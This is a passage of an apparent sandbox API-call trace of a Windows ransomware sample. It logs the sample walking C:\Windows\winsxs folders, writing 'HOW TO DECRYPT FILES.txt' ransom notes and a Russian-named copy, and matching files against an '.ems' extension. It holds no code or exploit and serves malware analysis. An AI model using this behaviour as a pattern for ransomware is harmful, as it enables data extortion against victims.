lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.534] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.534] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.534] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.534] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.535] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.535] CloseHandle (hObject=0xffffffff) returned 0 [0165.535] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="DebugAndTrace.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DebugAndTrace.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DebugAndTrace.aspx" [0165.535] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DebugAndTrace.aspx", pszSpec="*.ems") returned 0 [0165.535] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb01e96bd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb01e96bd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x909a23bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x46fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefineErrorPage.aspx", cAlternateFileName="DEFINE~1.ASP")) returned 1 [0165.535] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefineErrorPage.aspx") returned 1 [0165.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefineErrorPage.aspx") returned 1 [0165.535] lstrcmpiA (lpString1="", lpString2="DefineErrorPage.aspx") returned -1 [0165.536] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DebugAndTrace.aspx") returned="DebugAndTrace.aspx" [0165.536] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.536] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.536] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.536] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.537] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.537] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.537] CloseHandle (hObject=0xffffffff) returned 0 [0165.537] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="DefineErrorPage.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DefineErrorPage.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DefineErrorPage.aspx" [0165.537] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DefineErrorPage.aspx", pszSpec="*.ems") returned 0 [0165.538] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb025bad4, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb025bad4, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90a147d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="EditAppSetting.aspx", cAlternateFileName="EDITAP~1.ASP")) returned 1 [0165.538] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.538] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EditAppSetting.aspx") returned -1 [0165.538] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EditAppSetting.aspx") returned 1 [0165.538] lstrcmpiA (lpString1="", lpString2="EditAppSetting.aspx") returned -1 [0165.538] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\DefineErrorPage.aspx") returned="DefineErrorPage.aspx" [0165.538] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.538] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.538] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.538] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.538] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.539] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.539] CloseHandle (hObject=0xffffffff) returned 0 [0165.539] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="EditAppSetting.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\EditAppSetting.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\EditAppSetting.aspx" [0165.539] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\EditAppSetting.aspx", pszSpec="*.ems") returned 0 [0165.539] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb02a7d8e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb02a7d8e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90a147d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManageAppSettings.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0165.539] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ManageAppSettings.aspx") returned -1 [0165.540] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageAppSettings.aspx") returned -1 [0165.540] lstrcmpiA (lpString1="", lpString2="ManageAppSettings.aspx") returned -1 [0165.540] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\EditAppSetting.aspx") returned="EditAppSetting.aspx" [0165.540] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.540] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.540] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.540] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.540] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.540] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.540] CloseHandle (hObject=0xffffffff) returned 0 [0165.541] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="ManageAppSettings.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\ManageAppSettings.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\ManageAppSettings.aspx" [0165.541] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\ManageAppSettings.aspx", pszSpec="*.ems") returned 0 [0165.541] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb02f4048, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb02f4048, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90a3a935, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x457b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmtpSettings.aspx", cAlternateFileName="SMTPSE~1.ASP")) returned 1 [0165.541] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.541] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SmtpSettings.aspx") returned -1 [0165.541] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SmtpSettings.aspx") returned -1 [0165.541] lstrcmpiA (lpString1="", lpString2="SmtpSettings.aspx") returned -1 [0165.541] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\ManageAppSettings.aspx") returned="ManageAppSettings.aspx" [0165.541] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.541] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.541] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.541] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.542] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.542] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.542] CloseHandle (hObject=0xffffffff) returned 0 [0165.542] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="SmtpSettings.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\SmtpSettings.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\SmtpSettings.aspx" [0165.542] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\SmtpSettings.aspx", pszSpec="*.ems") returned 0 [0165.542] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb02f4048, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb02f4048, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90a3a935, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x457b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmtpSettings.aspx", cAlternateFileName="SMTPSE~1.ASP")) returned 0 [0165.542] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.543] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112b7702, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113039b6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113039b6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8", cAlternateFileName="AM306B~1.163")) returned 1 [0165.544] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8") returned -1 [0165.544] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8") returned -1 [0165.544] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.544] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8" [0165.544] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112b7702, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113039b6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113039b6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.547] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.547] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112b7702, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113039b6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113039b6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.547] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.547] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.547] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb031a1a5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb031a1a5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90ad2ead, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x10fd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="default.aspx", cAlternateFileName="DEFAUL~1.ASP")) returned 1 [0165.547] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.547] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="default.aspx") returned 1 [0165.547] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="default.aspx") returned 1 [0165.547] lstrcmpiA (lpString1="", lpString2="default.aspx") returned -1 [0165.548] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\*.*") returned="*.*" [0165.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: 